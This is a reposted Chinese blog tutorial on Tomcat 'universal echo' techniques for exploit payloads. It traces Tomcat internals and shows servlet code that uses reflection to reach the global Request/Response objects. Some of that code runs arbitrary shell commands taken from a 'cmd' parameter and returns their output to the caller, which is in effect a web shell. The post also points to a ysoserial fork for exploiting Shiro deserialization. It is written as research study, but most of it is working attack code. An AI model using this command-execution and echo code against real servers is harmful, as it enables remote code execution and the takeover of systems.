ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Tomcat通用回显学习

2022-04-28 01:02:52  阅读:384  来源: 互联网

标签:通用 回显 Tomcat request 获取 import apache org response


Tomcat通用回显学习

1、前置知识

1.1、正常的命令执行回显

整体流程就是通过request对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为InputStream,通过response对象的方法输出命令执行的结果,从而在页面获得回显

搭建环境

创建maven项目,导入依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>tomcatEcho1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <tomcat.version>8.5.78</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
            <scope>provided</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
            <version>${tomcat.version}</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
            <version>${tomcat.version}</version>
        </dependency>
    </dependencies>

</project>

添加web框架依赖

image-20220427222050075

添加tomcat环境

image-20220427225022364

编写controller层,创建servlet

image-20220427222550332

package controller;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");


        String name = System.getProperty("os.name");
        String cmd = request.getParameter("cmd");
        String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        byte[] buf = new byte[1024];
        int len = 0;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        while ((len = in.read(buf)) != -1) {
            out.write(buf, 0, len);
        }
        PrintWriter writer = response.getWriter();
        writer.write(new String(out.toByteArray()));
        writer.flush();
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

image-20220427223249264

所以我们需要找到需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程

2、不适用Tomcat7的回显方式

2.1、回显分析

主要通过Litch1的文章学习,传送门

我们随便在springboot中打个断点,看看堆栈,根据师傅文章得知为Http11Processor的父类(AbstractProcessor)存储了Request和Response,且为final修饰,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response,我们先来org.apache.coyote.http11.Http11Processor.

可以看到此时request里面已经初始化好了,我们继续向前回溯,看看其定义

image-20220427170138687

可以看到在AbstractProcessor中定义了,并且是protected和final修饰,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,他是在那里初始化的呢

image-20220427170304978

可以看到是在构造方法中赋值的,但是该构造方法为protecd修饰,需要调用重载的pubic方法去实现,所以子类可以调用该方法实例化request和response

image-20220427170755192

image-20220427171006218

我们看到Http11Processor通过调用父类的构造方法,获取request和response

image-20220427171452006

而且Http11Processor怎么获取request和response,我们可以通过Http11Processor的getRequest方法获取request

image-20220427173336067

而在Request类中,可以通过getResponse获取response。

image-20220427173522560

最后通过response类的doWrite()方法,写进内容,返回给前端

image-20220427173711924

前面挖掘部分说了,获取了Http11Processor实例后,就可以获取request,也就可以获取response,我们的目的也达成了,但是如何来获取Http11Processor实例或者Http11Processor request、response的变量

继续向前分析,看什么时候出现了Http11Processor类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process这个函数中

image-20220427172151447

是在704行通过this.getProtocol().createProcessor()创建的,然后通过register方法注册,跟进去看看

image-20220427172425867

发现RequestInfo里面有req,然后就可以获取response。

rp.req.getResponse()

image-20220427173047571

然后通过setGlobalProcessorRequestInfo放到this.global里,那个这个this.global是什么呢?是一个RequestGroupInfo实例对象

image-20220427174426056

我们也跟进setGlobalProcessor去看看,看到this.global,调用addRequestProcessor增加this(RequestInfo),继续跟进去

image-20220427174723175

我们可以看到把他增加到 this.global(RequestInfo)的List processors里去。

image-20220427175005047

image-20220427175041481

所以我们就要获取global

global变量是AbstractProtocol静态内部类ConnectionHandler的成员变量,不是static静态变量,因此我们还需要找存储AbstractProtocol类或AbstractProtocol子类。

现在的利用链为

AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

看到他的子类(Navigate-->Type Hierarchy)

image-20220427181418716

分析继承关系,发现它有子类Http11NioProtocol,所以如果我们获取到这个类,那么也能获取到globa

Tomcat初始化StandardService时,会启动Container、Executor、mapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中

继续分析调用栈,发现存在这个

org.apache.catalina.connector.CoyoteAdapter#connectorprotocolHandler属性

image-20220427181057375

可以看到使用Evaluate确实可以获取response

((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) ((Connector)((CoyoteAdapter)this).connector).protocolHandler).handler).global.processors.get(0).req.getResponse()

image-20220427181829653

所以现在的思路是如何获取到这个connector,新的利用链

connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并在org.apache.catalina.startup.Tomcat的setConnector通过org.apache.catalina.core.StandardService#addConnector存放在connectors

image-20220427183212614

image-20220427183623692

然后通过org.apache.catalina.core.StandardService#initInternal进行初始化

image-20220427183731138

因为先添加了再初始化,所以这个时要获取connectors,可以通过org.apache.catalina.core.StandardService来获取

StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

现在就是如何获取StandardService了。

tomcat的类加载机制

双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,再去寻找StandardService

在resources-->context-->context-->service

image-20220427205413037

所以最终的调用链(Thread.currentThread().getContextClassLoader()==WebAppClassLoader)

Thread.currentThread().getContextClassLoader()-->resources-->context-->context-->service-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

2.2、构造代码

package controller;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");


        //获取standardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        try {
            //获取StandardContext中的context
            //获取ApplicationContext上下文,因为ApplicationContext是protect修饰
            // 反射获取StandardContext中的context
            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            // 反射获取context中的service
            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            // 反射获取service中的connectors
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            // 反射获取 AbstractProtocol$ConnectoinHandler 实例
            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            // 反射获取global内部的processors
            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            // 获取response修改数据
            // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

                // 获取参数
                PrintWriter writer = response1.getWriter();
                String name = System.getProperty("os.name");
                String cmd = request.getParameter("cmd");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                writer.write(new String(out.toByteArray()));
                writer.flush();

            }


        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

image-20220427225206078

2.3、坑点

tomcat的小版本有限制

主要原因是

image-20220427234613127

本人在tomcat9.0.56、 8.5.47才成功的

3、Tomcat7/8/9全版本通用回显方式

3.1、分析

原因是Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败

新的利用链

Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

通过Thread.currentThread().getThreadGroup()遍历线程得到NioEndpoint$Poller的父类NioEndpoint,然后再通过获取其父类 NioEndpoint进而获取AbstractProtocol$ConnectoinHandler(handler)>>global-> processors->request

路径:

  1. 通过 Thread.currentThread().getThreadGroup()获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint(thread-->target)

    image-20220427235707099

  2. 通过NioEndpoint获取 AbstractProtocol$ConnectoinHandler (thread-->target->this$0)

    image-20220428000522075

  3. 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,(thread-->target->this$0->handler->global)

    image-20220428000756311

  4. 然后再利用反射获取 gloabl 中的 processors 属性

    image-20220428000840836

  5. 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response

    image-20220428000921291

3.2、构造payload

package controller;

import org.apache.coyote.*;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet")
public class Tomcat7Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        boolean flag=false;

        try {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");

            for(int i=0;i< threads.length;i++){
                Thread thread=threads[i];
                String threadName=thread.getName();

                try{
                    Object target= getField(thread,"target");
                    Object this0=getField(target,"this$0");
                    Object handler=getField(this0,"handler");
                    Object global=getField(handler,"global");

                    ArrayList processors=(ArrayList) getField(global,"processors");

                    for (int j = 0; j < processors.size(); j++) {
                        RequestInfo requestInfo = (RequestInfo) processors.get(j);
                        if(requestInfo!=null){
                            Request req=(Request) getField(requestInfo,"req");

                            org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
                            org.apache.catalina.connector.Response response1 =request1.getResponse();

                            Writer writer=response.getWriter();
                            writer.flush();
                            writer.write("TomcatEcho");
                            flag=true;
                            if(flag){
                                break;
                            }
                        }
                    }

                }catch (Exception e){
                    e.printStackTrace();
                }
                if(flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }


    }
    public static Object getField(Object obj,String fieldName) throws Exception{
        Field field=null;
        Class clas=obj.getClass();

        while(clas!=Object.class){
            try{
                field=clas.getDeclaredField(fieldName);
                break;
            }catch (NoSuchFieldException e){
                clas=clas.getSuperclass();
            }
        }

        if (field!=null){
            field.setAccessible(true);
            return field.get(obj);
        }else{
            throw new NoSuchFieldException(fieldName);
        }


    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }
}

image-20220427232818015

4、shiro利用

已经有大佬给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用

https://github.com/zema1/ysoserial/releases

漏洞利用可以参考shiro550分析

image-20220421203614317

5、结束

其实本篇就是学习大佬们回显的思路,学习怎么看懂它,学习一下其中挖掘的思路,基本上都是按着大佬们的步骤一步步的复现。

参考

https://sp4zcmd.github.io/2021/10/27/Tomcat通用回显学习笔记/

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

https://www.cnblogs.com/CoLo/p/15581915.html

https://blog.gm7.org/

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

https://xz.aliyun.com/t/7535

标签:通用,回显,Tomcat,request,获取,import,apache,org,response
来源: https://www.cnblogs.com/akka1/p/16201272.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有